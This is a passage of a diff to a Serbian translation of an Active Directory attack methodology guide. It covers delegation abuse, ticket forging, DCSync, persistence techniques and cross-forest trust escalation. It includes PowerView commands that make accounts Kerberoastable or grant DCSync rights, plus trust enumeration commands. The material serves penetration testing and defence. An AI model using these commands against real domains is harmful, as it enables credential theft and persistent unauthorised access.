+Dakle, ako se **Domain Admin** prijavi na taj računar, moći ćete da dump-ujete njegov TGT i da ga impersonirate koristeći [Pass the Ticket](pass-the-ticket.md).\
+Zahvaljujući constrained delegation mogli biste čak **automatski kompromitovati Print Server** (nadamo se da će to biti DC).

 {{#ref}}
 unconstrained-delegation.md
@ -323,9 +322,8 @@ unconstrained-delegation.md

 ### Constrained Delegation

-Ako je korisniku ili računaru dozvoljeno "Constrained Delegation" moći će da **impersonate any user to access some services in a computer**.\
-Zatim, ako **compromise the hash** tog korisnika/računara bićete u stanju da **impersonate any user** (čak i domain admins) da pristupite nekim servisima.
-
+Ako je korisniku ili računaru dozvoljeno "Constrained Delegation", moći će da **impersonira bilo kog korisnika da pristupi nekim servisima na računaru**.\
+Zatim, ako **kompromitujete hash** tog korisnika/računara, moći ćete da **impersonirate bilo kog korisnika** (čak i domain admins) da pristupite određenim servisima.

 {{#ref}}
 constrained-delegation.md
@ -333,36 +331,32 @@ constrained-delegation.md

 ### Resourced-based Constrain Delegation

-Imati **WRITE** privilegiju na Active Directory objektu udaljenog računara omogućava ostvarivanje izvršavanja koda sa **elevated privileges**:
-
+Imati **WRITE** privilegiju na Active Directory objektu udaljenog računara omogućava postizanje izvršenja koda sa **povišenim privilegijama**:

 {{#ref}}
 resource-based-constrained-delegation.md
 {{#endref}}

-### Permissions/ACLs Abuse
-
-Kompromitovani korisnik može imati neke **zanimljive privilegije nad određenim domain objektima** koje bi vam omogućile da **move** lateralno/**escalate** privilegije.
+### Zloupotreba Permissions/ACLs

+Kompromitovani korisnik može imati neke **interesantne privilegije nad domen objektima** koje bi vam omogućile da kasnije **lateralno se pomerate** ili **escalate** privilegije.

 {{#ref}}
 acl-persistence-abuse/
 {{#endref}}

-### Printer Spooler service abuse
-
-Otkrivanje **Spool service listening** unutar domena može se **abuse** za **acquire new credentials** i **escalate privileges**.
+### Zloupotreba Printer Spooler servisa

+Otkrivanje **Spool servisa koji osluškuje** unutar domena može se **zloupotrebiti** za **pribavljanje novih kredencijala** i **eskalaciju privilegija**.

 {{#ref}}
 printers-spooler-service-abuse.md
 {{#endref}}

-### Third party sessions abuse
-
-Ako **other users** **access** kompromitovani računar, moguće je **gather credentials from memory** i čak **inject beacons in their processes** da biste ih impersonate-ovali.\
-Obično korisnici pristupaju sistemu preko RDP-a, pa ovde imate kako izvesti par napada nad sesijama trećih lica preko RDP-a:
+### Zloupotreba sesija trećih lica

+Ako **drugi korisnici** **pristupaju** kompromitovanom računaru, moguće je **sakupljati kredencijale iz memorije** i čak **inject-ovati beacone u njihove procese** kako biste ih impersonirali.\
+Obično korisnici pristupaju sistemu preko RDP-a, tako da ovde imate nekoliko napada nad RDP sesijama trećih lica:

 {{#ref}}
 rdp-sessions-abuse.md
@ -370,59 +364,56 @@ rdp-sessions-abuse.md

 ### LAPS

-**LAPS** obezbeđuje sistem za upravljanje **local Administrator password** na računarima priključenim na domen, osiguravajući da je **randomized**, jedinstvena i često **changed**. Ove lozinke se čuvaju u Active Directory i pristup je kontrolisan kroz ACLs samo za autorizovane korisnike. Sa dovoljnim permisijama za pristup ovim lozinkama, pivotanje na druge računare postaje moguće.
-
+**LAPS** obezbeđuje sistem za upravljanje **lokalnim Administrator password-om** na računarima priključenim na domen, osiguravajući da je on **nasumičan**, jedinstven i često **menjan**. Ovi passwordi su sačuvani u Active Directory i pristup im je kontrolisan kroz ACL-e samo za autorizovane korisnike. Sa dovoljnim permisijama za pristup ovim lozinkama, pivotovanje na druge računare postaje moguće.

 {{#ref}}
 laps.md
 {{#endref}}

-### Certificate Theft
-
-**Gathering certificates** sa kompromitovanog računara može biti način za eskalaciju privilegija unutar okruženja:
+### Krađa sertifikata

+**Prikupljanje sertifikata** sa kompromitovanog mašine može biti način za eskalaciju privilegija unutar okruženja:

 {{#ref}}
 ad-certificates/certificate-theft.md
 {{#endref}}

-### Certificate Templates Abuse
-
-Ako su konfigurirani **vulnerable templates**, moguće ih je zloupotrebiti za eskalaciju privilegija:
+### Zloupotreba Certificate Templates

+Ako su konfigurisanе **ranjive templates**, moguće ih je zloupotrebiti za eskalaciju privilegija:

 {{#ref}}
 ad-certificates/domain-escalation.md
 {{#endref}}

-## Post-exploitation with high privilege account
+## Post-exploitation sa nalogom visokih privilegija

-### Dumping Domain Credentials
+### Dump-ovanje domen kredencijala

-Kada dobijete **Domain Admin** ili još bolje **Enterprise Admin** privilegije, možete **dump** **domain database**: _ntds.dit_.
+Kada dobijete **Domain Admin** ili još bolje **Enterprise Admin** privilegije, možete **dump-ovati** **domen bazu**: _ntds.dit_.

-[**More information about DCSync attack can be found here**](dcsync.md).
+[**Više informacija o DCSync attack se nalazi ovde**](dcsync.md).

-[**More information about how to steal the NTDS.dit can be found here**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/active-directory-methodology/broken-reference/README.md)
+[**Više informacija o tome kako ukrasti NTDS.dit možete naći ovde**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/active-directory-methodology/broken-reference/README.md)

-### Privesc as Persistence
+### Privesc kao persistentna metoda

-Neke od tehnika prethodno opisanih mogu se koristiti za održavanje pristupa.\
+Neke od tehnika ranije pomenutih mogu se koristiti za persistenciju.\
 Na primer, možete:

- Make users vulnerable to [**Kerberoast**](kerberoast.md)
+- Učiniti korisnike ranjivim na [**Kerberoast**](kerberoast.md)

 ```bash
 Set-DomainObject -Identity <username> -Set @{serviceprincipalname="fake/NOTHING"}r
 ```

- Make users vulnerable to [**ASREPRoast**](asreproast.md)
+- Učiniti korisnike ranjivim na [**ASREPRoast**](asreproast.md)

 ```bash
 Set-DomainObject -Identity <username> -XOR @{UserAccountControl=4194304}
 ```

- Grant [**DCSync**](#dcsync) privileges to a user
+- Dodeliti [**DCSync**](#dcsync) privilegije korisniku

 ```bash
 Add-DomainObjectAcl -TargetIdentity "DC=SUB,DC=DOMAIN,DC=LOCAL" -PrincipalIdentity bfarmer -Rights DCSync
@ -430,8 +421,7 @@ Add-DomainObjectAcl -TargetIdentity "DC=SUB,DC=DOMAIN,DC=LOCAL" -PrincipalIdenti

 ### Silver Ticket

-The **Silver Ticket attack** kreira **legitiman Ticket Granting Service (TGS) ticket** za specifičan servis koristeći **NTLM hash** (na primer, **hash PC account**). Ova metoda se koristi za **access the service privileges**.
-
+Silver Ticket attack kreira **legitimni Ticket Granting Service (TGS) ticket** za određeni servis koristeći **NTLM hash** (na primer, **hash PC account-a**). Ova metoda se koristi za **pristup privilegijama servisa**.

 {{#ref}}
 silver-ticket.md
@ -439,10 +429,9 @@ silver-ticket.md

 ### Golden Ticket

-A **Golden Ticket attack** podrazumeva da napadač dobije pristup **NTLM hash-u krbtgt account-a** u Active Directory okruženju. Ovaj nalog je specijalan zato što se koristi za potpisivanje svih **Ticket Granting Tickets (TGTs)**, koji su ključni za autentifikaciju unutar AD mreže.
-
-Kada napadač dobije ovaj hash, može kreirati **TGTs** za bilo koji nalog po izboru (Silver ticket attack).
+Golden Ticket attack uključuje napadača koji dobija pristup **NTLM hash-u krbtgt account-a** u Active Directory (AD) okruženju. Ovaj nalog je specijalan zato što se koristi za potpisivanje svih **Ticket Granting Tickets (TGTs)**, koji su bitni za autentikaciju u AD mreži.

+Kada napadač dobije ovaj hash, može kreirati **TGTs** za bilo koji nalog koji poželi (Silver ticket attack).

 {{#ref}}
 golden-ticket.md
@ -450,26 +439,23 @@ golden-ticket.md

 ### Diamond Ticket

-Ovo su slični golden tickets, lažirani na način koji **zaobilazi uobičajene mehanizme detekcije golden tickets**.
-
+Ovo su kao golden tickets, ali izforgeovani na način koji **zaobilazi uobičajene mehanizme detekcije za golden tickets.**

 {{#ref}}
 diamond-ticket.md
 {{#endref}}

-### **Certificates Account Persistence**
-
-**Posedovanje sertifikata naloga ili mogućnost da ih zahtevaš** je vrlo dobar način da se zadrži pristup korisničkom nalogu (čak i ako promeni lozinku):
+### Certificates Account Persistence

+**Posedovanje sertifikata naloga ili mogućnost njihovog zahteva** predstavlja vrlo dobar način da se održi persistencija na korisničkom nalogu (čak i ako korisnik promeni lozinku):

 {{#ref}}
 ad-certificates/account-persistence.md
 {{#endref}}

-### **Certificates Domain Persistence**
-
-**Korišćenjem sertifikata takođe je moguće održavati perzistenciju sa visokim privilegijama unutar domena:**
+### Certificates Domain Persistence

+**Korišćenjem sertifikata takođe je moguće održati persistenciju sa visokim privilegijama unutar domena:**

 {{#ref}}
 ad-certificates/domain-persistence.md
@ -477,14 +463,13 @@ ad-certificates/domain-persistence.md

 ### AdminSDHolder Group

-Objekat **AdminSDHolder** u Active Directory obezbeđuje sigurnost **privileged groups** (kao što su Domain Admins i Enterprise Admins) primenom standardnog **Access Control List (ACL)** preko ovih grupa kako bi se sprečile neautorizovane izmene. Međutim, ova funkcija se može zloupotrebiti; ako napadač izmeni AdminSDHolder-ov ACL i dodeli potpuni pristup običnom korisniku, taj korisnik dobija široku kontrolu nad svim privilegovanim grupama. Ova mera koja bi trebalo da štiti može se tako obrnuti i omogućiti neovlašćeni pristup ukoliko se ne prati pažljivo.
+AdminSDHolder objekat u Active Directory osigurava bezbednost **privilegovanih grupa** (kao Domain Admins i Enterprise Admins) primenom standardnog **Access Control List (ACL)** preko ovih grupa da bi se sprečile neautorizovane izmene. Međutim, ova funkcionalnost može se zloupotrebiti; ako napadač izmeni ACL AdminSDHolder-a i da pun pristup običnom korisniku, taj korisnik dobija širok spektar kontrole nad svim privilegovanim grupama. Ova mera, koja je zamišljena da štiti, može se pretvoriti u propust ukoliko se ne prati pažljivo.

-[**More information about AdminDSHolder Group here.**](privileged-groups-and-token-privileges.md#adminsdholder-group)
+[**Više informacija o AdminSDHolder Group ovde.**](privileged-groups-and-token-privileges.md#adminsdholder-group)

-### DSRM Credentials
-
-U svakom **Domain Controller (DC)** postoji lokalni administrator nalog. Dobijanjem admin prava na takvom mašini, lokalni Administrator hash može se izvući korišćenjem **mimikatz**. Nakon toga potrebno je izmeniti registry da bi se **enable the use of this password**, omogućavajući daljinski pristup lokalnom Administrator nalogu.
+### DSRM kredencijali

+Unutar svakog **Domain Controller (DC)** postoji lokalni administrator nalog. Dobijanjem admin prava na takvoj mašini, lokalni Administrator hash se može izvući koristeći **mimikatz**. Nakon toga je potrebna izmena registra da bi se **omogućila upotreba te lozinke**, što omogućava udaljeni pristup lokalnom Administrator nalogu.

 {{#ref}}
 dsrm-credentials.md
@ -492,8 +477,7 @@ dsrm-credentials.md

 ### ACL Persistence

-Možete **dodeliti** neke **specijalne permisije** korisniku nad određenim domain objektima koje će tom korisniku omogućiti da **eskalira privilegije u budućnosti**.
-
+Možete **dodeliti** neke **specijalne permisije** korisniku nad određenim domen objektima koje će tom korisniku omogućiti da **eskalira privilegije u budućnosti**.

 {{#ref}}
 acl-persistence-abuse/
@ -501,8 +485,7 @@ acl-persistence-abuse/

 ### Security Descriptors

-**Security descriptors** se koriste za **čuvanje permisija** koje objekat ima nad nekim resursom. Ako možete napraviti i malu izmenu u **security descriptor-u** nekog objekta, možete dobiti vrlo interesantne privilegije nad tim objektom bez potrebe da budete član privilegovane grupe.
-
+**Security descriptors** se koriste za **čuvanje** permisija koje **objekat** ima **nad** nekim resursom. Ako možete napraviti čak i **malu izmenu** u **security descriptor-u** objekta, možete dobiti veoma interesantne privilegije nad tim objektom bez potrebe da budete član neke privilegovane grupe.

 {{#ref}}
 security-descriptors.md
@ -510,8 +493,7 @@ security-descriptors.md

 ### Skeleton Key

-Izmenite **LSASS** u memoriji da uspostavite **univerzalnu lozinku**, čime dobijate pristup svim nalozima domena.
-
+Izmenite **LSASS** u memoriji da uspostavite **univerzalnu lozinku**, čime dobijate pristup svim domen nalozima.

 {{#ref}}
 skeleton-key.md
@ -520,8 +502,7 @@ skeleton-key.md
 ### Custom SSP

 [Learn what is a SSP (Security Support Provider) here.](../authentication-credentials-uac-and-efs/index.html#security-support-provider-interface-sspi)\
-Možete kreirati sopstveni **SSP** da **capture** u **clear text** kredencijale koje se koriste za pristup mašini.
-
+Možete kreirati svoj **SSP** da biste **uhvatili** u **clear text** kredencijale koje se koriste za pristup mašini.

 {{#ref}}
 custom-ssp.md
@ -529,82 +510,80 @@ custom-ssp.md

 ### DCShadow

-Registruje **novi Domain Controller** u AD i koristi ga da **push attributes** (SIDHistory, SPNs...) na određene objekte **bez** ostavljanja bilo kakvih **logova** o tim **izmenama**. Potrebne su vam **DA** privilegije i morate biti unutar **root domain**.\
+Registruje **novi Domain Controller** u AD i koristi ga da **push-uje atribute** (SIDHistory, SPNs...) na specificirane objekte **bez** ostavljanja **logova** o **izmenama**. Potrebne su DA privilegije i biti unutar **root domain-a**.\
 Napomena: ako koristite pogrešne podatke, pojaviće se prilično ružni logovi.

-
 {{#ref}}
 dcshadow.md
 {{#endref}}

 ### LAPS Persistence

-Ranije smo objasnili kako eskalirati privilegije ako imate **dovoljne permisije da pročitate LAPS passwords**. Međutim, ove lozinke se takođe mogu koristiti za **održavanje perzistencije**.\
+Ranije smo diskutovali kako eskalirati privilegije ako imate **dovoljne permisije da čitate LAPS lozinke**. Međutim, ove lozinke takođe mogu biti korišćene za **održavanje persistencije**.\
 Pogledajte:

-
 {{#ref}}
 laps.md
 {{#endref}}

-## Forest Privilege Escalation - Domain Trusts
+## Eskalacija privilegija između šuma - Domain Trusts

-Microsoft smatra **Forest** kao sigurnosnu granicu. To implicira da **kompromitovanje jednog domena može potencijalno dovesti do kompromitovanja cele Foreste**.
+Microsoft smatra **Forest** kao bezbednosnu granicu. To implicira da **kompromitovanje jednog domena može potencijalno dovesti do kompromitovanja celog Foresta**.

-### Basic Information
+### Osnovne informacije

-A [**domain trust**](<http://technet.microsoft.com/en-us/library/cc759554(v=ws.10).aspx>) je sigurnosni mehanizam koji omogućava korisniku iz jednog **domena** da pristupi resursima u drugom **domenu**. U suštini, uspostavlja vezu između sistema za autentifikaciju ta dva domena, dopuštajući protok verifikacija autentifikacije. Kada domeni podese poverenje, razmenjuju i čuvaju određene **keys** unutar svojih **Domain Controller-a (DCs)**, koji su ključni za integritet poverenja.
+[**domain trust**](<http://technet.microsoft.com/en-us/library/cc759554(v=ws.10).aspx>) je bezbednosni mehanizam koji omogućava korisniku iz jednog **domena** da pristupi resursima u drugom **domenu**. On zapravo povezuje autentikacione sisteme ta dva domena, omogućavajući da zahtevi za autentikaciju teku neprimetno. Kada domeni uspostave trust, oni razmenjuju i čuvaju specifične **ključeve** unutar svojih **Domain Controller-a (DCs)** koji su ključni za integritet tog trust-a.

-U tipičnom scenariju, ako korisnik želi pristupiti servisu u **trusted domain**, prvo mora zatražiti poseban tiket poznat kao **inter-realm TGT** od svog domaćeg DC. Taj TGT je enkriptovan sa zajedničkim **key-om** koji su oba domena dogovorila. Korisnik zatim predaje ovaj TGT **DC-u trusted domena** da dobije service ticket (**TGS**). Po uspešnoj verifikaciji inter-realm TGT-a od strane DC-a trusted domena, izdaje se TGS, dajući korisniku pristup servisu.
+U tipičnom scenariju, ako korisnik želi da pristupi servisu u **trusted domain-u**, prvo mora zatražiti specijalan tiket poznat kao **inter-realm TGT** od DC-a svog domena. Ovaj TGT je enkriptovan sa zajedničkim **kljuèem** koji su oba domena dogovorila. Korisnik zatim predaje taj inter-realm TGT **DC-u trusted domain-a** da bi dobio service ticket (**TGS**). Nakon uspešne verifikacije inter-realm TGT-a od strane DC-a trusted domain-a, on izdaje TGS koji korisniku omogućava pristup servisu.

 **Koraci**:

-1. Klijent kompjuter u **Domain 1** započinje proces koristeći svoj **NTLM hash** da zatraži **Ticket Granting Ticket (TGT)** od svog **Domain Controller (DC1)**.
+1. **Klijent računar** u **Domain 1** započinje proces koristeći svoj **NTLM hash** da zatraži **Ticket Granting Ticket (TGT)** od svog **Domain Controller (DC1)**.
 2. DC1 izdaje novi TGT ako je klijent uspešno autentifikovan.
 3. Klijent zatim zahteva **inter-realm TGT** od DC1, koji je potreban za pristup resursima u **Domain 2**.
-4. Inter-realm TGT je enkriptovan sa **trust key-om** koji dele DC1 i DC2 kao deo dvosmernog domain trust-a.
-5. Klijent odnosi inter-realm TGT na **Domain 2's Domain Controller (DC2)**.
+4. Inter-realm TGT je enkriptovan sa **trust key** koji su DC1 i DC2 podelili kao deo dvosmernog domain trusta.
+5. Klijent nosi inter-realm TGT DC-u **Domain 2 (DC2)**.
 6. DC2 verifikuje inter-realm TGT koristeći svoj shared trust key i, ako je validan, izdaje **Ticket Granting Service (TGS)** za server u Domain 2 kojem klijent želi pristupiti.
-7. Na kraju, klijent predaje ovaj TGS serveru, koji je enkriptovan sa hash-om server naloga, da bi dobio pristup servisu u Domain 2.
+7. Konačno, klijent predaje ovaj TGS serveru, koji je enkriptovan sa hash-om serverovog naloga, da bi dobio pristup servisu u Domain 2.

-### Different trusts
+### Različiti trustovi

-Važno je primetiti da **a trust can be 1 way or 2 ways**. U opciji sa dve strane, oba domena će verovati jedan drugom, ali u **one way** trust relaciji jedan od domena će biti **trusted**, a drugi **trusting** domen. U tom poslednjem slučaju, **moći ćete pristupiti resursima unutar trusting domena iz trusted domena**.
+Važno je napomenuti da **trust može biti jednosmeran ili dvosmeran**. U dvosmernom režimu, oba domena veruju jedan drugom, ali u **jednosmernoj** trust relaciji jedan od domena će biti **trusted**, a drugi **trusting** domen. U tom poslednjem slučaju, **moći ćete pristupiti resursima samo unutar trusting domena iz trusted domena**.

-Ako Domain A trusts Domain B, A je trusting domain i B je trusted domain. Štaviše, u **Domain A**, ovo bi bio **Outbound trust**; a u **Domain B**, ovo bi bio **Inbound trust**.
+Ako Domain A trust-uje Domain B, A je trusting domen, a B je trusted. Nadalje, u **Domain A**, ovo bi bio **Outbound trust**; a u **Domain B**, ovo bi bio **Inbound trust**.

-**Different trusting relationships**
+**Različiti tipovi odnosа poverenja**

- **Parent-Child Trusts**: Ovo je uobičajena konfiguracija unutar iste foreste, gde child domain automatski ima dvosmerni transitive trust sa svojim parent domain-om. U suštini, to znači da autentifikacioni zahtevi mogu slobodno teći između parent-a i child-a.
- **Cross-link Trusts**: Poznati i kao "shortcut trusts", uspostavljaju se između child domena kako bi ubrzali procese referisanja. U kompleksnim forestama, autentifikaciona referenca obično mora putovati do korena foreste pa zatim do ciljnog domena. Kreiranjem cross-link-ova, put je skraćen, što je posebno korisno u geografski rasprostranjenim okruženjima.
- **External Trusts**: Usmerene su između različitih, nepovezanih domena i po prirodi su non-transitive. Prema [Microsoft-ovoj dokumentaciji](<https://technet.microsoft.com/en-us/library/cc773178(v=ws.10).aspx>), external trust-ovi su korisni za pristup resursima u domenu van trenutne foreste koji nije povezan forest trust-om. Bezbednost se pojačava kroz SID filtering kod external trust-ova.
- **Tree-root Trusts**: Ovi trust-ovi se automatski uspostavljaju između forest root domain-a i novo dodatog tree root-a. Iako se ne sreću često, tree-root trust-ovi su važni za dodavanje novih domain tree-ova u forest, omogućavajući im da zadrže jedinstveno ime domena i osiguravaju dvosmernu tranzitivnost. Više informacija možete naći u [Microsoft-ovom vodiču](<https://technet.microsoft.com/en-us/library/cc773178(v=ws.10).aspx>).
- **Forest Trusts**: Ova vrsta trust-a je dvosmerni transitive trust između dva forest root domain-a, takođe primenjujući SID filtering radi poboljšanja bezbednosti.
- **MIT Trusts**: Ovi trust-ovi se uspostavljaju sa ne-Windows, [RFC4120-compliant](https://tools.ietf.org/html/rfc4120) Kerberos domenima. MIT trust-ovi su specijalizovaniji i namenjeni okruženjima koja zahtevaju integraciju sa Kerberos sistemima van Windows ekosistema.
+- **Parent-Child Trusts**: Uobičajena postavka unutar istog foresta, gde child domen automatski ima dvosmerni tranzitivni trust sa svojim parent domenom. Ovo znači da zahtevi za autentikaciju mogu teći neometano između parent-a i child-a.
+- **Cross-link Trusts**: Poznati i kao "shortcut trusts", uspostavljaju se između child domena da ubrzaju referral procese. U složenim forest-ovima, autentikacioni referali obično moraju ići do root-a foresta pa zatim nadole do ciljnog domena. Cross-links skraćuju taj put, što je posebno korisno u geografski rasprostranjenim okruženjima.
+- **External Trusts**: Postavljaju se između različitih, nepovezanih domena i po prirodi su non-transitive. Prema [Microsoft-ovoj dokumentaciji](<https://technet.microsoft.com/en-us/library/cc773178(v=ws.10).aspx>), external trusts su korisni za pristup resursima u domenu izvan trenutnog foresta koji nije povezan forest trust-om. Bezbednost se pojačava kroz SID filtering sa external trusts.
+- **Tree-root Trusts**: Ovi trustovi se automatski uspostavljaju između forest root domena i novo dodatog tree root-a. Iako se ne sreću često, tree-root trust-ovi su važni pri dodavanju novih tree root-ova u forest, omogućavajući im da zadrže jedinstveno ime domena i osiguravajući dvosmernu transfinitivnost. Više informacija možete naći u [Microsoft-ovom vodiču](<https://technet.microsoft.com/en-us/library/cc773178(v=ws.10).aspx>).
+- **Forest Trusts**: Ovo je dvosmerni tranzitivni trust između dva forest root domena, takođe primenjujući SID filtering radi poboljšanja sigurnosti.
+- **MIT Trusts**: Ovi trustovi se uspostavljaju sa non-Windows, [RFC4120-compliant](https://tools.ietf.org/html/rfc4120) Kerberos domenima. MIT trusts su specijalizovaniji i služe za integraciju sa Kerberos-based sistemima izvan Windows ekosistema.

-#### Other differences in **trusting relationships**
+#### Druge razlike u **trust** odnosima

- Trust relacija može biti i **transitive** (A trusts B, B trusts C, onda A trusts C) ili **non-transitive**.
- Trust relacija može biti postavljena kao **bidirectional trust** (oba veruju jedno drugom) ili kao **one-way trust** (samo jedan veruje drugom).
+- Trust relacija može biti i **transitivna** (A trust-uje B, B trust-uje C, onda A trust-uje C) ili **non-transitivna**.
+- Trust relacija može biti **bidirekcionalna** (oba se međusobno trust-uju) ili **jednosmerna** (samo jedan trust-uje drugog).

-### Attack Path
+### Put napada

-1. **Enumerate** trusting relationships
-2. Proveriti da li neki **security principal** (user/group/computer) ima **access** na resurse **drugog domena**, možda preko ACE unosa ili članstva u grupama drugog domena. Tražite **relationships across domains** (trust je verovatno kreiran zbog toga).
-1. kerberoast u ovom slučaju bi mogao biti još jedna opcija.
-3. **Compromise** naloge koji mogu **pivot** kroz domene.
+1. **Enumerišite** trust relacije
+2. Proverite da li bilo koji **security principal** (user/group/computer) ima **pristup** resursima **drugog domena**, možda kroz ACE unose ili članstvom u grupama drugog domena. Tražite **odnose preko domena** (trust je verovatno kreiran upravo zbog ovoga).
+1. kerberoast u ovom slučaju može biti još jedna opcija.
+3. **Kompromitujte** **naloge** koji mogu **pivot-ovati** kroz domene.

 Napadači mogu dobiti pristup resursima u drugom domenu kroz tri primarna mehanizma:

- **Local Group Membership**: Principali mogu biti dodati u lokalne grupe na mašinama, kao npr. grupu “Administrators” na serveru, što im daje značajnu kontrolu nad tom mašinom.
+- **Local Group Membership**: Principali mogu biti dodati u lokalne grupe na mašinama, kao što je “Administrators” grupa na serveru, čime im se daje značajna kontrola nad tom mašinom.
 - **Foreign Domain Group Membership**: Principali takođe mogu biti članovi grupa unutar stranog domena. Međutim, efikasnost ove metode zavisi od prirode trust-a i opsega grupe.
- **Access Control Lists (ACLs)**: Principali mogu biti navedeni u **ACL-u**, posebno kao entiteti u **ACE-ovima** unutar **DACL-a**, dajući im pristup određenim resursima. Za dublje razumevanje mehanike ACL-ova, DACL-ova i ACE-ova, whitepaper “[An ACE Up The Sleeve](https://specterops.io/assets/resources/an_ace_up_the_sleeve.pdf)” je veoma koristan resurs.
+- **Access Control Lists (ACLs)**: Principali mogu biti specificirani u **ACL-u**, posebno kao entiteti u **ACE-ovima** unutar **DACL-a**, što im pruža pristup specifičnim resursima. Za one koji žele dublje da razumeju mehaniku ACL-ova, DACL-ova i ACE-ova, whitepaper “[An ACE Up The Sleeve](https://specterops.io/assets/resources/an_ace_up_the_sleeve.pdf)” je neprocenjiv resurs.

-### Find external users/groups with permissions
+### Pronađite eksterne korisnike/grupe sa permisijama

-Možete proveriti **`CN=<user_SID>,CN=ForeignSecurityPrincipals,DC=domain,DC=com`** da pronađete foreign security principals u domenu. To će biti user/group iz **an external domain/forest**.
+Možete proveriti **`CN=<user_SID>,CN=ForeignSecurityPrincipals,DC=domain,DC=com`** da biste pronašli foreign security principals u domenu. Ovo će biti korisnici/grupe iz **eksternog domena/foresta**.

-Ovo možete proveriti u **Bloodhound** ili koristeći **powerview**:
+Možete ovo proveriti u **Bloodhound** ili koristeći **powerview**:
 ```powershell
 # Get users that are i groups outside of the current domain
 Get-DomainForeignUser
@ -625,7 +604,7 @@ TrustDirection  : Bidirectional       --> Trust direction (2ways in this case)
 WhenCreated     : 2/19/2021 1:28:00 PM
 WhenChanged     : 2/19/2021 1:28:00 PM
 ```
-Drugi načini za enumerate domain trusts:
+Drugi načini za enumerisanje poverenja domena:
 ```bash
 # Get DCs
 nltest /dsgetdc:<DOMAIN>
@ -648,56 +627,56 @@ nltest /server:dc.sub.domain.local /domain_trusts /all_trusts

 #### SID-History Injection

-Eskalirajte do Enterprise admin privilegija u child/parent domenu zloupotrebom trust-a pomoću SID-History injection:
+Escalate as Enterprise admin to the child/parent domain abusing the trust with SID-History injection:


 {{#ref}}
 sid-history-injection.md
 {{#endref}}

-#### Eksploatacija zapisivog Configuration NC
+#### Exploit writeable Configuration NC

-Razumevanje kako se Configuration Naming Context (NC) može iskoristiti je ključno. Configuration NC služi kao centralno skladište konfiguracionih podataka kroz forest u Active Directory (AD) okruženjima. Ovi podaci se repliciraju na svaki Domain Controller (DC) unutar foresta, pri čemu zapisivi DC-i održavaju zapisivu kopiju Configuration NC. Za eksploataciju je neophodno imati **SYSTEM privileges on a DC**, po mogućstvu child DC.
+Razumevanje kako se Configuration Naming Context (NC) može iskoristiti je ključno. Configuration NC služi kao centralni repozitorij konfiguracionih podataka kroz forest u Active Directory (AD) okruženjima. Ovi podaci se replikuju na svaki Domain Controller (DC) unutar forest-a, pri čemu writable DCs održavaju zapisivu kopiju Configuration NC. Za iskorišćavanje ovoga, potrebno je imati **SYSTEM privilegije na DC-u**, poželjno na child DC-u.

 **Link GPO to root DC site**

-Sites kontejner Configuration NC sadrži informacije o site-ovima svih računara koji su članovi domena unutar AD foresta. Radeći sa SYSTEM privilegijama na bilo kojem DC-u, napadači mogu povezati GPO-ove sa root DC site-ovima. Ova akcija potencijalno kompromituje root domen manipulacijom politika primenjenih na tim site-ovima.
+Kontejner Sites u Configuration NC sadrži informacije o site-ovima svih računara pridruženih domenu unutar AD forest-a. Radeći sa SYSTEM privilegijama na bilo kom DC-u, napadači mogu link-ovati GPO-e ka root DC site-ovima. Ova akcija potencijalno kompromituje root domain manipulišući politikama primenjenim na te sajtove.

-Za detaljnije informacije, može se proučiti istraživanje o [Bypassing SID Filtering](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-4-bypass-sid-filtering-research).
+For in-depth information, one might explore research on [Bypassing SID Filtering](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-4-bypass-sid-filtering-research).

 **Compromise any gMSA in the forest**

-Jedan vektor napada je ciljanje privilegovanih gMSA-a unutar domena. KDS Root key, koji je neophodan za izračunavanje lozinki gMSA-a, smešten je unutar Configuration NC. Sa SYSTEM privilegijama na bilo kojem DC-u, moguće je pristupiti KDS Root key i izračunati lozinke za bilo koji gMSA kroz ceo forest.
+Jedan vektor napada uključuje ciljanje privilegovanih gMSA unutar domena. KDS Root key, neophodan za izračunavanje lozinki gMSA-ova, je uskladišten u Configuration NC. Sa SYSTEM privilegijama na bilo kom DC-u, moguće je pristupiti KDS Root key-u i izračunati lozinke za bilo koji gMSA kroz ceo forest.

-Detaljna analiza i korak-po-korak uputstva mogu se naći u:
+Detailed analysis and step-by-step guidance can be found in:


 {{#ref}}
 golden-dmsa-gmsa.md
 {{#endref}}

-Komplementarni delegated MSA attack (BadSuccessor – abusing migration attributes):
+Complementary delegated MSA attack (BadSuccessor – abusing migration attributes):


 {{#ref}}
 badsuccessor-dmsa-migration-abuse.md
 {{#endref}}

-Dodatna spoljna istraživanja: [Golden gMSA Trust Attacks](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-5-golden-gmsa-trust-attack-from-child-to-parent).
+Additional external research: [Golden gMSA Trust Attacks](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-5-golden-gmsa-trust-attack-from-child-to-parent).

 **Schema change attack**

-Ova metoda zahteva strpljenje i čekanje na kreiranje novih privilegovanih AD objekata. Sa SYSTEM privilegijama, napadač može izmeniti AD Schema da dodeli bilo kom korisniku potpunu kontrolu nad svim klasama. To može dovesti do neautorizovanog pristupa i kontrole nad novokreiranim AD objektima.
+Ova metoda zahteva strpljenje — čekanje na kreiranje novih privilegovanih AD objekata. Sa SYSTEM privilegijama, napadač može izmeniti AD Schema da dodeli bilo kom korisniku potpunu kontrolu nad svim klasama. To može dovesti do neovlašćenog pristupa i kontrole nad novokreiranim AD objektima.

-Dalje čitanje dostupno je na [Schema Change Trust Attacks](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-6-schema-change-trust-attack-from-child-to-parent).
+Further reading is available on [Schema Change Trust Attacks](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-6-schema-change-trust-attack-from-child-to-parent).

 **From DA to EA with ADCS ESC5**

-Ranljivost ADCS ESC5 cilja kontrolu nad PKI objektima kako bi se kreirao template sertifikata koji omogućava autentifikaciju kao bilo koji korisnik unutar foresta. Pošto PKI objekti žive u Configuration NC, kompromitovanje zapisivog child DC-a omogućava izvođenje ESC5 napada.
+Ranljivost ADCS ESC5 cilja kontrolu nad Public Key Infrastructure (PKI) objektima kako bi se kreirao certificate template koji omogućava autentifikaciju kao bilo koji korisnik unutar forest-a. Pošto PKI objekti stanuju u Configuration NC, kompromitovanje writable child DC-a omogućava izvršenje ESC5 napada.

